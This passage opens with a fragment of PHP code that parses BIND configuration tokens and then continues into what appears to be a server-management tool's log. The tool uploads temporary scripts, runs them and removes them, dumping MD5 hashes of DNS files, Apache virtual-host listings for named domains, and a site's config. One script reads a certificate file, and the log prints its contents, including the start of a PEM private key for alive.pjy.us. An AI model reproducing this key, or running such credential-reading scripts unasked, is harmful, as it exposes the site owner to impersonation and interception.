			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-12-31 19:40:12: 

runuser -l bind -s /bin/bash -c '/tmp/pkp370169; rm /tmp/pkp370169'

2025-12-31 19:40:12: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-12-31 19:40:17: Establishing a connection
2025-12-31 19:40:18: 

PUT: /tmp/pkp879899

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-12-31 19:40:19: 

chmod 755 /tmp/pkp879899; /tmp/pkp879899; rm /tmp/pkp879899

2025-12-31 19:40:20: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:2)
         port 80 namevhost alive.pjy.us (/etc/apache2/sites-enabled/pjy_alive_us.conf:2)
         port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
         port 80 namevhost stage.theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_stage.conf:2)
*:443                  is a NameVirtualHost
         default server cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:18)
         port 443 namevhost cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:18)
         port 443 namevhost alive.pjy.us (/etc/apache2/sites-enabled/pjy_alive_us.conf:19)
         port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:22)
         port 443 namevhost stage.theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_stage.conf:18)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-31 19:40:20: 

PUT: /tmp/pkp862756

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/pjy_alive_us.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-31 19:40:20: 

chmod 755 /tmp/pkp862756; /tmp/pkp862756; rm /tmp/pkp862756

2025-12-31 19:40:20: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_alive_us.conf	1144

<VirtualHost *:80>
    ServerName	alive.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_alive
    <Directory /var/www/pjy_alive>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/alive_access.log combined
    ErrorLog	/var/log/apache2/pjy/alive_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	alive.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb
    DocumentRoot	/var/www/pjy_alive
    <Directory /var/www/pjy_alive>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/alive_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/alive_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-12-31 19:40:20: 

PUT: /tmp/pkp365058

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-31 19:40:21: 

chmod 755 /tmp/pkp365058; /tmp/pkp365058; rm /tmp/pkp365058

2025-12-31 19:40:21: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb	5309


-----BEGIN CERTIFICATE-----
MIIE/TCCA+WgAwIBAgISBqRCuV/kHaUQNs8n6autgKlVMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjMxMDUwMjU3WhcNMjYwMzMxMDUwMjU2WjAXMRUwEwYDVQQD
EwxhbGl2ZS5wankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCr
k06yk15M4nC54vkjsllAlTL312Bo0rZRwcXo7qe7XDMboSHbAhfYrihCAnAryV7R
xmM3h5OAw8uKclOTVOHpl7vbqQUxjW880W5Sw8ueMXPwc4pLA/JcCi06Wnshfhxq
10cKMQK/2Yo+8x3gF/YyP4EOs4wUDATttNLYockFPaV82zB0nTMK6UKoLcGzxNZo
UVzyX+aGd1oV4X8NAZ1kTuFdgV1GHsytlbg76ogtkQo0oli6P8XuVQWGhH/+SCs9
NDsu/6x++ZFDhKveSNvBplFPh4p1SXjDfq4kaGqqdHLpQXNmhFOLC+lb4/uC3E6R
68fXDyUTMACqMEz8Qk3RAgMBAAGjggIlMIICITAOBgNVHQ8BAf8EBAMCBaAwHQYD
VR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0O
BBYEFBGY4UR8oCe1mRDshLOP7tBJcYPXMB8GA1UdIwQYMBaAFOernw8sM6BT015P
eMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3Ix
My5pLmxlbmNyLm9yZy8wFwYDVR0RBBAwDoIMYWxpdmUucGp5LnVzMBMGA1UdIAQM
MAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5j
ci5vcmcvODYuY3JsMIIBDQYKKwYBBAHWeQIEAgSB/gSB+wD5AHcADleUvPOuqT4z
GyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGbcv86hwAABAMASDBGAiEA9HJ+HVrY
dV5orry0OBpxH9GTnBNrA8tR3qgUeyGG4MwCIQDOMjtEVWACq+305ryIeCqn5qkb
iEliHLSmbMaD5l/AFQB+AHF+lfPCOIptseOEST0x4VqpYgh2LUIA4AUM0Ge1pmHi
AAABm3L/OywACAAABQAFotjFBAMARzBFAiAWg9uifZtZoWXfJAcmoCr//ZFKs9aj
KtetPXqF5sugKwIhAOfK/KXoaGtttXjuWuT26NzNBazIwpO0qAv1x3nhdAdnMA0G
CSqGSIb3DQEBCwUAA4IBAQCUp3Ltgf9rfcj9BKt2aBH3hEjja1FwN2XMsAs/bBKX
kYp1llsnBjNJ4PNn2ZYYnZun4ndQJMJTWJCxKDPGcR3QOMXPm+DXxAwAn3aOV5bm
z/ksL/59o5w2yfrSoeDec5ddG/cKkX/6zas1WXKN5ykCERtFiEzBumymb6B+jU9c
gUYq3Dpkrc51xll0dvH2y26+kPWgSyuh2oucr03UeBQFUtTepO9MCY+Wsaq67Qfq
W2O2tBhXcIOb3l3xIAo6n3lSPCLGEo+FPTro0ob3Y9d7qh8DdFEo4otE3JmOxRTo
JDevasbMR/j+9bWm2jUeGh0RSFM2KGmlafNidXMv65g2
-----END CERTIFICATE-----


-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCrk06yk15M4nC5
4vkjsllAlTL312Bo0rZRwcXo7qe7XDMboSHbAhfYrihCAnAryV7RxmM3h5OAw8uK
clOTVOHpl7vbqQUxjW880W5Sw8ueMXPwc4pLA/JcCi06Wnshfhxq10cKMQK/2Yo+
8x3gF/YyP4EOs4wUDATttNLYockFPaV82zB0nTMK6UKoLcGzxNZoUVzyX+aGd1oV
4X8NAZ1kTuFdgV1GHsytlbg76ogtkQo0oli6P8XuVQWGhH/+SCs9NDsu/6x++ZFD
hKveSNvBplFPh4p1SXjDfq4kaGqqdHLpQXNmhFOLC+lb4/uC3E6R68fXDyUTMACq
MEz8Qk3RAgMBAAECggEAM1e//5E48WH7oKyqqEN5EOn02BSj3Ypck6ecTUGJgPgs
tRJpWqvMLgOjuWkYXwoB7V1kGFxiR/CPaq0elGKcvfWxeiCglL0Bsh3r2SmNN5gN
